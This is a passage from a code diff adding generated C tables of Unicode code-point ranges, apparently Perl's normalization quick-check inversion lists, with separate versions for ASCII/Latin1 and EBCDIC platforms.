+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x102E,
+	0x102F,
+	0x1161,
+	0x1176,
+	0x11A8,
+	0x11C3,
+	0x1B35,
+	0x1B36,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBE,
+	0x1FBF,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FEE,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x3099,
+	0x309B,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x110BA,
+	0x110BB,
+	0x11127,
+	0x11128,
+	0x1133E,
+	0x1133F,
+	0x11357,
+	0x11358,
+	0x114B0,
+	0x114B1,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x115AF,
+	0x115B0,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NFDQC__Y_invlist[] = { /* for ASCII/Latin1 */
+	463,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC0,
+	0xC6,
+	0xC7,
+	0xD0,
+	0xD1,
+	0xD7,
+	0xD9,
+	0xDE,
+	0xE0,
+	0xE6,
+	0xE7,
+	0xF0,
+	0xF1,
+	0xF7,
+	0xF9,
+	0xFE,
+	0xFF,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x149,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x17F,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1CD,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F1,
+	0x1F4,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D3,
+	0x3D5,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x622,
+	0x627,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1E00,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309E,
+	0x309F,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x30FF,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFDQC__Y_invlist[] = { /* for EBCDIC 1047 */
+	467,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0xBA,
+	0xBB,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x149,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x17F,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1CD,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F1,
+	0x1F4,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D3,
+	0x3D5,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x622,
+	0x627,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1E00,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309E,
+	0x309F,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x30FF,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFDQC__Y_invlist[] = { /* for EBCDIC 037 */
+	467,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0xAD,
+	0xAE,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x149,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x17F,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1CD,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F1,
+	0x1F4,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D3,
+	0x3D5,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x622,
+	0x627,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1E00,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309E,
+	0x309F,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x30FF,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NFKCQC__N_invlist[] = { /* for ASCII/Latin1 */
+	499,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
